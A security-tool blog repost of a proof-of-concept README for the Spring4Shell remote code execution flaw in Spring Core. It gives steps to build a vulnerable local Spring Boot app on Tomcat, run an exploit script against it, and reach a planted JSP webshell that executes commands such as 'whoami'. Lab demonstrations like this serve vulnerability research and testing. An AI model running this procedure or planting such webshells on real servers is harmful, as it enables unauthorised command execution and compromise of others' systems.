Spring4Shell-Poc - Spring Core RCE 0-Day Vulnerability
Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC
Steps to Build/Run
Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60
- Run
mvn clean package
to build the application - Rename
demo-0.0.1-SNAPSHOT.war
tospring-poc.war
and copy this .war file to Tomcat's webapps directory - Run
python exp.py --url http://localhost:8080/spring-poc/greeting
- If successful, the message
漏洞存在,shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami
will be logged. - You should now see the file
tomcatwar.jsp
written to Tomcat's webapps/spring-poc directory. This directory can be changed by modifyingexp.py
. - Go to the url to see the result of the shell command
- If successful, the message
Via: www.kitploit.com
Spring4Shell-Poc - Spring Core RCE 0-Day Vulnerability
Reviewed by Zion3R
on
17:37
Rating:
![Spring4Shell-Poc - Spring Core RCE 0-Day Vulnerability](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgydikjQTzuAjAZQNo1Hcrj_Rew0WSbhEeC2dz5FhHgK2HAVBBKkwvLmXBd5K-r8vDoH1MuAKG_N8zJD78VAigXz6W2a9iz8SoMQDA-he8xVWYMwhZjkSrRpyG-PSskP--fKR2nzg2YnGruFCXj4VJ7npFI3KpYoRgNb1RkZwUN_pDfUy0e7A1XQf9s/s72-w640-c-h334/Spring4Shell.jpg)